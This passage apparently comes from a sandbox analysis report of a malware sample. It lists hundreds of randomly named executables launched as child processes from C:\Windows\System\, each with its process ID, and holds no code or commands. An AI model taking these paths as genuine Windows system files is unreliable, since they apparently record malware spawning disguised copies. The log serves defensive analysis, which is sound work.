- C:\Windows\System\cvlNUDs.exe
  C:\Windows\System\cvlNUDs.exe
  2⤵
  PID:8828
- C:\Windows\System\boJhjZo.exe
  C:\Windows\System\boJhjZo.exe
  2⤵
  PID:8852
- C:\Windows\System\TSdyZNL.exe
  C:\Windows\System\TSdyZNL.exe
  2⤵
  PID:8872
- C:\Windows\System\xMwrjve.exe
  C:\Windows\System\xMwrjve.exe
  2⤵
  PID:8896
- C:\Windows\System\RSrZmch.exe
  C:\Windows\System\RSrZmch.exe
  2⤵
  PID:8924
- C:\Windows\System\JrdumEH.exe
  C:\Windows\System\JrdumEH.exe
  2⤵
  PID:8944
- C:\Windows\System\mdMAilB.exe
  C:\Windows\System\mdMAilB.exe
  2⤵
  PID:8960
- C:\Windows\System\VXfEvwR.exe
  C:\Windows\System\VXfEvwR.exe
  2⤵
  PID:8980
- C:\Windows\System\CgZKLSi.exe
  C:\Windows\System\CgZKLSi.exe
  2⤵
  PID:9000
- C:\Windows\System\LMqBiKB.exe
  C:\Windows\System\LMqBiKB.exe
  2⤵
  PID:9016
- C:\Windows\System\sotsaLU.exe
  C:\Windows\System\sotsaLU.exe
  2⤵
  PID:9036
- C:\Windows\System\BkxGVwp.exe
  C:\Windows\System\BkxGVwp.exe
  2⤵
  PID:9060
- C:\Windows\System\BoKLhlW.exe
  C:\Windows\System\BoKLhlW.exe
  2⤵
  PID:9076
- C:\Windows\System\zRSyxkV.exe
  C:\Windows\System\zRSyxkV.exe
  2⤵
  PID:9092
- C:\Windows\System\Gthieur.exe
  C:\Windows\System\Gthieur.exe
  2⤵
  PID:9116
- C:\Windows\System\VREvOwa.exe
  C:\Windows\System\VREvOwa.exe
  2⤵
  PID:9132
- C:\Windows\System\AFVFTJC.exe
  C:\Windows\System\AFVFTJC.exe
  2⤵
  PID:9156
- C:\Windows\System\LOHspml.exe
  C:\Windows\System\LOHspml.exe
  2⤵
  PID:9180
- C:\Windows\System\BdDGRZW.exe
  C:\Windows\System\BdDGRZW.exe
  2⤵
  PID:9200
- C:\Windows\System\vIDnQUI.exe
  C:\Windows\System\vIDnQUI.exe
  2⤵
  PID:7024
- C:\Windows\System\qclxnpK.exe
  C:\Windows\System\qclxnpK.exe
  2⤵
  PID:8184
- C:\Windows\System\sKdXFIv.exe
  C:\Windows\System\sKdXFIv.exe
  2⤵
  PID:6564
- C:\Windows\System\gAOuVsl.exe
  C:\Windows\System\gAOuVsl.exe
  2⤵
  PID:7344
- C:\Windows\System\ELIXacK.exe
  C:\Windows\System\ELIXacK.exe
  2⤵
  PID:5960
- C:\Windows\System\oUZLHzi.exe
  C:\Windows\System\oUZLHzi.exe
  2⤵
  PID:7396
- C:\Windows\System\vVkCHPa.exe
  C:\Windows\System\vVkCHPa.exe
  2⤵
  PID:6696
- C:\Windows\System\zWBSWbd.exe
  C:\Windows\System\zWBSWbd.exe
  2⤵
  PID:6728
- C:\Windows\System\awJPOUH.exe
  C:\Windows\System\awJPOUH.exe
  2⤵
  PID:6764
- C:\Windows\System\VlgtKCK.exe
  C:\Windows\System\VlgtKCK.exe
  2⤵
  PID:6808
- C:\Windows\System\lShaXvm.exe
  C:\Windows\System\lShaXvm.exe
  2⤵
  PID:6840
- C:\Windows\System\xdpOwnO.exe
  C:\Windows\System\xdpOwnO.exe
  2⤵
  PID:6888
- C:\Windows\System\BxQhPsQ.exe
  C:\Windows\System\BxQhPsQ.exe
  2⤵
  PID:7012
- C:\Windows\System\rsNdATt.exe
  C:\Windows\System\rsNdATt.exe
  2⤵
  PID:7060
- C:\Windows\System\LKCLtbd.exe
  C:\Windows\System\LKCLtbd.exe
  2⤵
  PID:7124
- C:\Windows\System\IvrNkTo.exe
  C:\Windows\System\IvrNkTo.exe
  2⤵
  PID:5752
- C:\Windows\System\eTzSAMP.exe
  C:\Windows\System\eTzSAMP.exe
  2⤵
  PID:5352
- C:\Windows\System\aPJeXHt.exe
  C:\Windows\System\aPJeXHt.exe
  2⤵
  PID:5484
- C:\Windows\System\XqyKlfC.exe
  C:\Windows\System\XqyKlfC.exe
  2⤵
  PID:5684
- C:\Windows\System\TEeuYAn.exe
  C:\Windows\System\TEeuYAn.exe
  2⤵
  PID:8480
- C:\Windows\System\mfISRQQ.exe
  C:\Windows\System\mfISRQQ.exe
  2⤵
  PID:7424
- C:\Windows\System\fnzHarj.exe
  C:\Windows\System\fnzHarj.exe
  2⤵
  PID:9224
- C:\Windows\System\cDODLKX.exe
  C:\Windows\System\cDODLKX.exe
  2⤵
  PID:9248
- C:\Windows\System\uKfYpvt.exe
  C:\Windows\System\uKfYpvt.exe
  2⤵
  PID:9272
- C:\Windows\System\KljYEJn.exe
  C:\Windows\System\KljYEJn.exe
  2⤵
  PID:9288
- C:\Windows\System\QVJHqtl.exe
  C:\Windows\System\QVJHqtl.exe
  2⤵
  PID:9308
- C:\Windows\System\qLvOMxG.exe
  C:\Windows\System\qLvOMxG.exe
  2⤵
  PID:9324
- C:\Windows\System\oaMZtYY.exe
  C:\Windows\System\oaMZtYY.exe
  2⤵
  PID:9344
- C:\Windows\System\BCJLbVS.exe
  C:\Windows\System\BCJLbVS.exe
  2⤵
  PID:9380
- C:\Windows\System\KgWtAjb.exe
  C:\Windows\System\KgWtAjb.exe
  2⤵
  PID:9400
- C:\Windows\System\OIWckFD.exe
  C:\Windows\System\OIWckFD.exe
  2⤵
  PID:9420
- C:\Windows\System\SkGcaNL.exe
  C:\Windows\System\SkGcaNL.exe
  2⤵
  PID:9448
- C:\Windows\System\KaByMMM.exe
  C:\Windows\System\KaByMMM.exe
  2⤵
  PID:9480
- C:\Windows\System\eYSJPET.exe
  C:\Windows\System\eYSJPET.exe
  2⤵
  PID:9504
- C:\Windows\System\xUZipmI.exe
  C:\Windows\System\xUZipmI.exe
  2⤵
  PID:9536
- C:\Windows\System\DusJRiq.exe
  C:\Windows\System\DusJRiq.exe
  2⤵
  PID:9568
- C:\Windows\System\lJhYnLp.exe
  C:\Windows\System\lJhYnLp.exe
  2⤵
  PID:9592
- C:\Windows\System\FMFXuFD.exe
  C:\Windows\System\FMFXuFD.exe
  2⤵
  PID:9608
- C:\Windows\System\olZIkSs.exe
  C:\Windows\System\olZIkSs.exe
  2⤵
  PID:9632
- C:\Windows\System\VwDBpKh.exe
  C:\Windows\System\VwDBpKh.exe
  2⤵
  PID:9656
- C:\Windows\System\nhxjeFG.exe
  C:\Windows\System\nhxjeFG.exe
  2⤵
  PID:9672
- C:\Windows\System\tBIQRxm.exe
  C:\Windows\System\tBIQRxm.exe
  2⤵
  PID:9696
- C:\Windows\System\tOigAID.exe
  C:\Windows\System\tOigAID.exe
  2⤵
  PID:9720
- C:\Windows\System\XIVxYcz.exe
  C:\Windows\System\XIVxYcz.exe
  2⤵
  PID:9740
- C:\Windows\System\qPiaiHk.exe
  C:\Windows\System\qPiaiHk.exe
  2⤵
  PID:9768
- C:\Windows\System\pigOySU.exe
  C:\Windows\System\pigOySU.exe
  2⤵
  PID:9784
- C:\Windows\System\EgNhUFw.exe
  C:\Windows\System\EgNhUFw.exe
  2⤵
  PID:9804
- C:\Windows\System\IEhIRxZ.exe
  C:\Windows\System\IEhIRxZ.exe
  2⤵
  PID:9828
- C:\Windows\System\PQSKpwM.exe
  C:\Windows\System\PQSKpwM.exe
  2⤵
  PID:9844
- C:\Windows\System\KLyhlOh.exe
  C:\Windows\System\KLyhlOh.exe
  2⤵
  PID:9864
- C:\Windows\System\RyxLwal.exe
  C:\Windows\System\RyxLwal.exe
  2⤵
  PID:9884
- C:\Windows\System\HAXxOgG.exe
  C:\Windows\System\HAXxOgG.exe
  2⤵
  PID:9916
- C:\Windows\System\QoqqJDw.exe
  C:\Windows\System\QoqqJDw.exe
  2⤵
  PID:9932
- C:\Windows\System\scJrPSW.exe
  C:\Windows\System\scJrPSW.exe
  2⤵
  PID:9952
- C:\Windows\System\zUngsep.exe
  C:\Windows\System\zUngsep.exe
  2⤵
  PID:9972
- C:\Windows\System\ibYCZeE.exe
  C:\Windows\System\ibYCZeE.exe
  2⤵
  PID:9992
- C:\Windows\System\FZapjyl.exe
  C:\Windows\System\FZapjyl.exe
  2⤵
  PID:10016
- C:\Windows\System\GjPyMhz.exe
  C:\Windows\System\GjPyMhz.exe
  2⤵
  PID:10040
- C:\Windows\System\VBbGSvb.exe
  C:\Windows\System\VBbGSvb.exe
  2⤵
  PID:10060
- C:\Windows\System\oJJoMXd.exe
  C:\Windows\System\oJJoMXd.exe
  2⤵
  PID:10084
- C:\Windows\System\QSlZeGb.exe
  C:\Windows\System\QSlZeGb.exe
  2⤵
  PID:10108
- C:\Windows\System\amkflCd.exe
  C:\Windows\System\amkflCd.exe
  2⤵
  PID:10124
- C:\Windows\System\CJareLV.exe
  C:\Windows\System\CJareLV.exe
  2⤵
  PID:10148
- C:\Windows\System\dlKmnVi.exe
  C:\Windows\System\dlKmnVi.exe
  2⤵
  PID:10172
- C:\Windows\System\XIbFKhK.exe
  C:\Windows\System\XIbFKhK.exe
  2⤵
  PID:10200
- C:\Windows\System\bVoZjoM.exe
  C:\Windows\System\bVoZjoM.exe
  2⤵
  PID:10220
- C:\Windows\System\sZqjtHA.exe
  C:\Windows\System\sZqjtHA.exe
  2⤵
  PID:8640
- C:\Windows\System\SCjKZTf.exe
  C:\Windows\System\SCjKZTf.exe
  2⤵
  PID:8760
- C:\Windows\System\isKouuz.exe
  C:\Windows\System\isKouuz.exe
  2⤵
  PID:8844
- C:\Windows\System\wDTzLjq.exe
  C:\Windows\System\wDTzLjq.exe
  2⤵
  PID:8908
- C:\Windows\System\kTWjIjp.exe
  C:\Windows\System\kTWjIjp.exe
  2⤵
  PID:9152
- C:\Windows\System\PPelwfu.exe
  C:\Windows\System\PPelwfu.exe
  2⤵
  PID:4484
- C:\Windows\System\FaIjArs.exe
  C:\Windows\System\FaIjArs.exe
  2⤵
  PID:7568
- C:\Windows\System\zEKEBau.exe
  C:\Windows\System\zEKEBau.exe
  2⤵
  PID:7608
- C:\Windows\System\elpYZuR.exe
  C:\Windows\System\elpYZuR.exe
  2⤵
  PID:7656
- C:\Windows\System\wApqVmL.exe
  C:\Windows\System\wApqVmL.exe
  2⤵
  PID:7724
- C:\Windows\System\JOpDJMg.exe
  C:\Windows\System\JOpDJMg.exe
  2⤵
  PID:7808
- C:\Windows\System\TSQnqql.exe
  C:\Windows\System\TSQnqql.exe
  2⤵
  PID:7984
- C:\Windows\System\ViUuTRc.exe
  C:\Windows\System\ViUuTRc.exe
  2⤵
  PID:8080
- C:\Windows\System\BYPWVYw.exe
  C:\Windows\System\BYPWVYw.exe
  2⤵
  PID:7980
- C:\Windows\System\dwnUUOM.exe
  C:\Windows\System\dwnUUOM.exe
  2⤵
  PID:7800
- C:\Windows\System\OLWeIMU.exe
  C:\Windows\System\OLWeIMU.exe
  2⤵
  PID:7628
- C:\Windows\System\ZjKfOsQ.exe
  C:\Windows\System\ZjKfOsQ.exe
  2⤵
  PID:8120
- C:\Windows\System\ZIfHFtz.exe
  C:\Windows\System\ZIfHFtz.exe
  2⤵
  PID:8164
- C:\Windows\System\RQviFcs.exe
  C:\Windows\System\RQviFcs.exe
  2⤵
  PID:6396
- C:\Windows\System\SDpQsNl.exe
  C:\Windows\System\SDpQsNl.exe
  2⤵
  PID:6824
- C:\Windows\System\sBOstKj.exe
  C:\Windows\System\sBOstKj.exe
  2⤵
  PID:10256
- C:\Windows\System\eDYSacV.exe
  C:\Windows\System\eDYSacV.exe
  2⤵
  PID:10276
- C:\Windows\System\WJXNeuP.exe
  C:\Windows\System\WJXNeuP.exe
  2⤵
  PID:10304
- C:\Windows\System\lnWkals.exe
  C:\Windows\System\lnWkals.exe
  2⤵
  PID:10324
- C:\Windows\System\cXwdSue.exe
  C:\Windows\System\cXwdSue.exe
  2⤵
  PID:10348
- C:\Windows\System\FwDljtm.exe
  C:\Windows\System\FwDljtm.exe
  2⤵
  PID:10372
- C:\Windows\System\OpkGKXi.exe
  C:\Windows\System\OpkGKXi.exe
  2⤵
  PID:10396
- C:\Windows\System\XgNUBpW.exe
  C:\Windows\System\XgNUBpW.exe
  2⤵
  PID:10416
- C:\Windows\System\uMqKTTK.exe
  C:\Windows\System\uMqKTTK.exe
  2⤵
  PID:10440
- C:\Windows\System\mEBOJKt.exe
  C:\Windows\System\mEBOJKt.exe
  2⤵
  PID:10460
- C:\Windows\System\OzrLcbF.exe
  C:\Windows\System\OzrLcbF.exe
  2⤵
  PID:10476
- C:\Windows\System\xzkJHKF.exe
  C:\Windows\System\xzkJHKF.exe
  2⤵
  PID:10492
- C:\Windows\System\fQFmcfd.exe
  C:\Windows\System\fQFmcfd.exe
  2⤵
  PID:10508
- C:\Windows\System\ytGFbjT.exe
  C:\Windows\System\ytGFbjT.exe
  2⤵
  PID:10532
- C:\Windows\System\PqkaEWP.exe
  C:\Windows\System\PqkaEWP.exe
  2⤵
  PID:10564
- C:\Windows\System\JksGtTi.exe
  C:\Windows\System\JksGtTi.exe
  2⤵
  PID:10584
- C:\Windows\System\UCumOVn.exe
  C:\Windows\System\UCumOVn.exe
  2⤵
  PID:10608
- C:\Windows\System\LjTxXCy.exe
  C:\Windows\System\LjTxXCy.exe
  2⤵
  PID:10640
- C:\Windows\System\ShMTFTI.exe
  C:\Windows\System\ShMTFTI.exe
  2⤵
  PID:10740
- C:\Windows\System\fUfZRzc.exe
  C:\Windows\System\fUfZRzc.exe
  2⤵
  PID:10756
- C:\Windows\System\mZbtHLQ.exe
  C:\Windows\System\mZbtHLQ.exe
  2⤵
  PID:10776
- C:\Windows\System\kxhKkvl.exe
  C:\Windows\System\kxhKkvl.exe
  2⤵
  PID:10796
- C:\Windows\System\UdmsAFL.exe
  C:\Windows\System\UdmsAFL.exe
  2⤵
  PID:10820
- C:\Windows\System\kDTpQEg.exe
  C:\Windows\System\kDTpQEg.exe
  2⤵
  PID:10860
- C:\Windows\System\bplLMRJ.exe
  C:\Windows\System\bplLMRJ.exe
  2⤵
  PID:10904
- C:\Windows\System\KleHXDi.exe
  C:\Windows\System\KleHXDi.exe
  2⤵
  PID:10928
- C:\Windows\System\HvEUPMb.exe
  C:\Windows\System\HvEUPMb.exe
  2⤵
  PID:10952
- C:\Windows\System\ohSqpeJ.exe
  C:\Windows\System\ohSqpeJ.exe
  2⤵
  PID:10976
- C:\Windows\System\FIXYXmK.exe
  C:\Windows\System\FIXYXmK.exe
  2⤵
  PID:10992
- C:\Windows\System\GspBFXN.exe
  C:\Windows\System\GspBFXN.exe
  2⤵
  PID:11016
- C:\Windows\System\PSOEqgq.exe
  C:\Windows\System\PSOEqgq.exe
  2⤵
  PID:11036
- C:\Windows\System\ohFmoin.exe
  C:\Windows\System\ohFmoin.exe
  2⤵
  PID:11056
- C:\Windows\System\bmzmiOd.exe
  C:\Windows\System\bmzmiOd.exe
  2⤵
  PID:11072
- C:\Windows\System\gqsgpCD.exe
  C:\Windows\System\gqsgpCD.exe
  2⤵
  PID:11100
- C:\Windows\System\kwSvpfm.exe
  C:\Windows\System\kwSvpfm.exe
  2⤵
  PID:11128
- C:\Windows\System\oMxxmGH.exe
  C:\Windows\System\oMxxmGH.exe
  2⤵
  PID:11144
- C:\Windows\System\XVtWVhk.exe
  C:\Windows\System\XVtWVhk.exe
  2⤵
  PID:11172
- C:\Windows\System\AjgYSjM.exe
  C:\Windows\System\AjgYSjM.exe
  2⤵
  PID:11192
- C:\Windows\System\fDndwXv.exe
  C:\Windows\System\fDndwXv.exe
  2⤵
  PID:11220
- C:\Windows\System\tBrcOzB.exe
  C:\Windows\System\tBrcOzB.exe
  2⤵
  PID:11240
- C:\Windows\System\qyvoLqW.exe
  C:\Windows\System\qyvoLqW.exe
  2⤵
  PID:7164
- C:\Windows\System\yxjwDKB.exe
  C:\Windows\System\yxjwDKB.exe
  2⤵
  PID:5364
- C:\Windows\System\QCayUxl.exe
  C:\Windows\System\QCayUxl.exe
  2⤵
  PID:8484
- C:\Windows\System\xKFlaBe.exe
  C:\Windows\System\xKFlaBe.exe
  2⤵
  PID:5504
- C:\Windows\System\MPjAXPg.exe
  C:\Windows\System\MPjAXPg.exe
  2⤵
  PID:8544
- C:\Windows\System\zSelMeS.exe
  C:\Windows\System\zSelMeS.exe
  2⤵
  PID:8240
- C:\Windows\System\IEtAICL.exe
  C:\Windows\System\IEtAICL.exe
  2⤵
  PID:9304
- C:\Windows\System\Zcctcbb.exe
  C:\Windows\System\Zcctcbb.exe
  2⤵
  PID:1856
- C:\Windows\System\gPDvhdY.exe
  C:\Windows\System\gPDvhdY.exe
  2⤵
  PID:8820
- C:\Windows\System\MocASqi.exe
  C:\Windows\System\MocASqi.exe
  2⤵
  PID:9516
- C:\Windows\System\WhnMjJW.exe
  C:\Windows\System\WhnMjJW.exe
  2⤵
  PID:9628
- C:\Windows\System\yGuXSZq.exe
  C:\Windows\System\yGuXSZq.exe
  2⤵
  PID:9088
- C:\Windows\System\snTzKrM.exe
  C:\Windows\System\snTzKrM.exe
  2⤵
  PID:9164
- C:\Windows\System\AARIKpW.exe
  C:\Windows\System\AARIKpW.exe
  2⤵
  PID:11276
- C:\Windows\System\YGkBOgu.exe
  C:\Windows\System\YGkBOgu.exe
  2⤵
  PID:11300
- C:\Windows\System\tpxDdgi.exe
  C:\Windows\System\tpxDdgi.exe
  2⤵
  PID:11316
- C:\Windows\System\NNCoiCP.exe
  C:\Windows\System\NNCoiCP.exe
  2⤵
  PID:11340
- C:\Windows\System\DhNXkPP.exe
  C:\Windows\System\DhNXkPP.exe
  2⤵
  PID:11360
- C:\Windows\System\WzeSsBl.exe
  C:\Windows\System\WzeSsBl.exe
  2⤵
  PID:11376
- C:\Windows\System\JKlYkjr.exe
  C:\Windows\System\JKlYkjr.exe
  2⤵
  PID:11404
- C:\Windows\System\vnGJQCZ.exe
  C:\Windows\System\vnGJQCZ.exe
  2⤵
  PID:11424
- C:\Windows\System\FFiqzSF.exe
  C:\Windows\System\FFiqzSF.exe
  2⤵
  PID:11440
- C:\Windows\System\gmQXPKg.exe
  C:\Windows\System\gmQXPKg.exe
  2⤵
  PID:11456
- C:\Windows\System\LZVjDGg.exe
  C:\Windows\System\LZVjDGg.exe
  2⤵
  PID:11488
- C:\Windows\System\mleLrKf.exe
  C:\Windows\System\mleLrKf.exe
  2⤵
  PID:11536
- C:\Windows\System\SYmZKHE.exe
  C:\Windows\System\SYmZKHE.exe
  2⤵
  PID:11556
- C:\Windows\System\AjXFQrJ.exe
  C:\Windows\System\AjXFQrJ.exe
  2⤵
  PID:11584
- C:\Windows\System\KNVNQva.exe
  C:\Windows\System\KNVNQva.exe
  2⤵
  PID:11628
- C:\Windows\System\XaTbykc.exe
  C:\Windows\System\XaTbykc.exe
  2⤵
  PID:11648
- C:\Windows\System\IdCPtdu.exe
  C:\Windows\System\IdCPtdu.exe
  2⤵
  PID:11668
- C:\Windows\System\ggtenGp.exe
  C:\Windows\System\ggtenGp.exe
  2⤵
  PID:11684
- C:\Windows\System\xureHer.exe
  C:\Windows\System\xureHer.exe
  2⤵
  PID:11704
- C:\Windows\System\rmtLiFe.exe
  C:\Windows\System\rmtLiFe.exe
  2⤵
  PID:11720
- C:\Windows\System\bQKCyMl.exe
  C:\Windows\System\bQKCyMl.exe
  2⤵
  PID:11736
- C:\Windows\System\NpUggdf.exe
  C:\Windows\System\NpUggdf.exe
  2⤵
  PID:11760
- C:\Windows\System\RWDFxVb.exe
  C:\Windows\System\RWDFxVb.exe
  2⤵
  PID:11780
- C:\Windows\System\NcFLxKg.exe
  C:\Windows\System\NcFLxKg.exe
  2⤵
  PID:11808
- C:\Windows\System\MKPbIUZ.exe
  C:\Windows\System\MKPbIUZ.exe
  2⤵
  PID:11828
- C:\Windows\System\tuLyHTp.exe
  C:\Windows\System\tuLyHTp.exe
  2⤵
  PID:11848
- C:\Windows\System\QZbgkYi.exe
  C:\Windows\System\QZbgkYi.exe
  2⤵
  PID:11868
- C:\Windows\System\DZbPvww.exe
  C:\Windows\System\DZbPvww.exe
  2⤵
  PID:11888
- C:\Windows\System\pdbonvu.exe
  C:\Windows\System\pdbonvu.exe
  2⤵
  PID:11912
- C:\Windows\System\OvmeXlf.exe
  C:\Windows\System\OvmeXlf.exe
  2⤵
  PID:11940
- C:\Windows\System\KbjHPym.exe
  C:\Windows\System\KbjHPym.exe
  2⤵
  PID:11956
- C:\Windows\System\HjhmxtE.exe
  C:\Windows\System\HjhmxtE.exe
  2⤵
  PID:11980
- C:\Windows\System\YwZutWU.exe
  C:\Windows\System\YwZutWU.exe
  2⤵
  PID:12000
- C:\Windows\System\VcTLDVV.exe
  C:\Windows\System\VcTLDVV.exe
  2⤵
  PID:12028
- C:\Windows\System\ppQebKe.exe
  C:\Windows\System\ppQebKe.exe
  2⤵
  PID:12044
- C:\Windows\System\kgYEhdD.exe
  C:\Windows\System\kgYEhdD.exe
  2⤵
  PID:12064
- C:\Windows\System\cVMfgrq.exe
  C:\Windows\System\cVMfgrq.exe
  2⤵
  PID:12092
- C:\Windows\System\pfEZhwf.exe
  C:\Windows\System\pfEZhwf.exe
  2⤵
  PID:12108
- C:\Windows\System\xZrEwwz.exe
  C:\Windows\System\xZrEwwz.exe
  2⤵
  PID:12128
- C:\Windows\System\daWPVcr.exe
  C:\Windows\System\daWPVcr.exe
  2⤵
  PID:12152
- C:\Windows\System\bmGslSp.exe
  C:\Windows\System\bmGslSp.exe
  2⤵
  PID:12172
- C:\Windows\System\mLfMQOD.exe
  C:\Windows\System\mLfMQOD.exe
  2⤵
  PID:12196
- C:\Windows\System\aQvhBFh.exe
  C:\Windows\System\aQvhBFh.exe
  2⤵
  PID:12220
- C:\Windows\System\IxqrBye.exe
  C:\Windows\System\IxqrBye.exe
  2⤵
  PID:12240
- C:\Windows\System\zQwDYDq.exe
  C:\Windows\System\zQwDYDq.exe
  2⤵
  PID:12256
- C:\Windows\System\ppyQrQg.exe
  C:\Windows\System\ppyQrQg.exe
  2⤵
  PID:12280
- C:\Windows\System\ZekVCUj.exe
  C:\Windows\System\ZekVCUj.exe
  2⤵
  PID:9924
- C:\Windows\System\qwEPqXY.exe
  C:\Windows\System\qwEPqXY.exe
  2⤵
  PID:9988
- C:\Windows\System\CCCvwac.exe
  C:\Windows\System\CCCvwac.exe
  2⤵
  PID:7952
- C:\Windows\System\nPvNEtB.exe
  C:\Windows\System\nPvNEtB.exe
  2⤵
  PID:7728
- C:\Windows\System\DadLswZ.exe
  C:\Windows\System\DadLswZ.exe
  2⤵
  PID:6860
- C:\Windows\System\FcoIQWJ.exe
  C:\Windows\System\FcoIQWJ.exe
  2⤵
  PID:7004
- C:\Windows\System\yosZVBT.exe
  C:\Windows\System\yosZVBT.exe
  2⤵
  PID:8516
- C:\Windows\System\wVotiRm.exe
  C:\Windows\System\wVotiRm.exe
  2⤵
  PID:10428
- C:\Windows\System\ujmeAjL.exe
  C:\Windows\System\ujmeAjL.exe
  2⤵
  PID:10484
- C:\Windows\System\clqlEwD.exe
  C:\Windows\System\clqlEwD.exe
  2⤵
  PID:10732
- C:\Windows\System\xUBGkIa.exe
  C:\Windows\System\xUBGkIa.exe
  2⤵
  PID:8600
- C:\Windows\System\qUCyogW.exe
  C:\Windows\System\qUCyogW.exe
  2⤵
  PID:10828
- C:\Windows\System\tzYuBSx.exe
  C:\Windows\System\tzYuBSx.exe
  2⤵
  PID:10888
- C:\Windows\System\OkvlOoZ.exe
  C:\Windows\System\OkvlOoZ.exe
  2⤵
  PID:9320
- C:\Windows\System\AkzpBOt.exe
  C:\Windows\System\AkzpBOt.exe
  2⤵
  PID:8676
- C:\Windows\System\FiVtKbJ.exe
  C:\Windows\System\FiVtKbJ.exe
  2⤵
  PID:8724
- C:\Windows\System\EdKbBRy.exe
  C:\Windows\System\EdKbBRy.exe
  2⤵
  PID:11080
- C:\Windows\System\ZZZGplN.exe
  C:\Windows\System\ZZZGplN.exe
  2⤵
  PID:9468
- C:\Windows\System\rVUFnUR.exe
  C:\Windows\System\rVUFnUR.exe
  2⤵
  PID:8956
- C:\Windows\System\zeXlpyU.exe
  C:\Windows\System\zeXlpyU.exe
  2⤵
  PID:9496
- C:\Windows\System\diiCrSs.exe
  C:\Windows\System\diiCrSs.exe
  2⤵
  PID:11188
- C:\Windows\System\bNeUVQI.exe
  C:\Windows\System\bNeUVQI.exe
  2⤵
  PID:8988
- C:\Windows\System\pNLdWzU.exe
  C:\Windows\System\pNLdWzU.exe
  2⤵
  PID:1720
- C:\Windows\System\VEQWcDs.exe
  C:\Windows\System\VEQWcDs.exe
  2⤵
  PID:9012
- C:\Windows\System\ZcxKlMV.exe
  C:\Windows\System\ZcxKlMV.exe
  2⤵
  PID:12304
- C:\Windows\System\VazARed.exe
  C:\Windows\System\VazARed.exe
  2⤵
  PID:12320
- C:\Windows\System\LoZskOr.exe
  C:\Windows\System\LoZskOr.exe
  2⤵
  PID:12340
- C:\Windows\System\PDhNSJH.exe
  C:\Windows\System\PDhNSJH.exe
  2⤵
  PID:12360
- C:\Windows\System\iNtYuTR.exe
  C:\Windows\System\iNtYuTR.exe
  2⤵
  PID:12380
- C:\Windows\System\HDdNqCZ.exe
  C:\Windows\System\HDdNqCZ.exe
  2⤵
  PID:12404
- C:\Windows\System\TQWcbHK.exe
  C:\Windows\System\TQWcbHK.exe
  2⤵
  PID:12424
- C:\Windows\System\XaunGEP.exe
  C:\Windows\System\XaunGEP.exe
  2⤵
  PID:12444
- C:\Windows\System\kycghuH.exe
  C:\Windows\System\kycghuH.exe
  2⤵
  PID:12468
- C:\Windows\System\dBanxjO.exe
  C:\Windows\System\dBanxjO.exe
  2⤵
  PID:12484
- C:\Windows\System\BffXfEf.exe
  C:\Windows\System\BffXfEf.exe
  2⤵
  PID:12500
- C:\Windows\System\hWzarvL.exe
  C:\Windows\System\hWzarvL.exe
  2⤵
  PID:12524
- C:\Windows\System\atpDMbM.exe
  C:\Windows\System\atpDMbM.exe
  2⤵
  PID:12540
- C:\Windows\System\HVAWRWH.exe
  C:\Windows\System\HVAWRWH.exe
  2⤵
  PID:12560
- C:\Windows\System\YDEixgV.exe
  C:\Windows\System\YDEixgV.exe
  2⤵
  PID:12580
- C:\Windows\System\iKgOhvq.exe
  C:\Windows\System\iKgOhvq.exe
  2⤵
  PID:12604
- C:\Windows\System\dMvyVSn.exe
  C:\Windows\System\dMvyVSn.exe
  2⤵
  PID:12624
- C:\Windows\System\vcHZQWH.exe
  C:\Windows\System\vcHZQWH.exe
  2⤵
  PID:12644
- C:\Windows\System\vEczCkP.exe
  C:\Windows\System\vEczCkP.exe
  2⤵
  PID:12668
- C:\Windows\System\bCAxYCl.exe
  C:\Windows\System\bCAxYCl.exe
  2⤵
  PID:12688
- C:\Windows\System\QoVIbRW.exe
  C:\Windows\System\QoVIbRW.exe
  2⤵
  PID:12716
- C:\Windows\System\EZCPwqN.exe
  C:\Windows\System\EZCPwqN.exe
  2⤵
  PID:12736
- C:\Windows\System\orxtqOx.exe
  C:\Windows\System\orxtqOx.exe
  2⤵
  PID:12752
- C:\Windows\System\cPMECee.exe
  C:\Windows\System\cPMECee.exe
  2⤵
  PID:12772
- C:\Windows\System\odkpvbq.exe
  C:\Windows\System\odkpvbq.exe
  2⤵
  PID:12792
- C:\Windows\System\RJErxYg.exe
  C:\Windows\System\RJErxYg.exe
  2⤵
  PID:12808
- C:\Windows\System\BgXYuQZ.exe
  C:\Windows\System\BgXYuQZ.exe
  2⤵
  PID:12832
- C:\Windows\System\maZTxOC.exe
  C:\Windows\System\maZTxOC.exe
  2⤵
  PID:12856
- C:\Windows\System\tUsbqUV.exe
  C:\Windows\System\tUsbqUV.exe
  2⤵
  PID:12876
- C:\Windows\System\IdHorAm.exe
  C:\Windows\System\IdHorAm.exe
  2⤵
  PID:12892
- C:\Windows\System\dhjnDQi.exe
  C:\Windows\System\dhjnDQi.exe
  2⤵
  PID:12912
- C:\Windows\System\aUkRDkY.exe
  C:\Windows\System\aUkRDkY.exe
  2⤵
  PID:12936
- C:\Windows\System\XaSicrU.exe
  C:\Windows\System\XaSicrU.exe
  2⤵
  PID:12964
- C:\Windows\System\ysahRfi.exe
  C:\Windows\System\ysahRfi.exe
  2⤵
  PID:12984
- C:\Windows\System\yyGpFsW.exe
  C:\Windows\System\yyGpFsW.exe
  2⤵
  PID:13000
- C:\Windows\System\KgKvFCr.exe
  C:\Windows\System\KgKvFCr.exe
  2⤵
  PID:13024
- C:\Windows\System\qNRFqkc.exe
  C:\Windows\System\qNRFqkc.exe
  2⤵
  PID:13040
- C:\Windows\System\rtRWDtd.exe
  C:\Windows\System\rtRWDtd.exe
  2⤵
  PID:13060
- C:\Windows\System\FumjJXH.exe
  C:\Windows\System\FumjJXH.exe
  2⤵
  PID:13080
- C:\Windows\System\DvQsNwj.exe
  C:\Windows\System\DvQsNwj.exe
  2⤵
  PID:13096
- C:\Windows\System\mDpGbJd.exe
  C:\Windows\System\mDpGbJd.exe
  2⤵
  PID:13116
- C:\Windows\System\waFFdMv.exe
  C:\Windows\System\waFFdMv.exe
  2⤵
  PID:13132
- C:\Windows\System\KLzdWiK.exe
  C:\Windows\System\KLzdWiK.exe
  2⤵
  PID:13148
- C:\Windows\System\OrvuTQn.exe
  C:\Windows\System\OrvuTQn.exe
  2⤵
  PID:13224
- C:\Windows\System\DAfRpRz.exe
  C:\Windows\System\DAfRpRz.exe
  2⤵
  PID:13240
- C:\Windows\System\GsYCJxo.exe
  C:\Windows\System\GsYCJxo.exe
  2⤵
  PID:13256
- C:\Windows\System\bLuIZKQ.exe
  C:\Windows\System\bLuIZKQ.exe
  2⤵
  PID:13272
- C:\Windows\System\GyyzcJD.exe
  C:\Windows\System\GyyzcJD.exe
  2⤵
  PID:13300
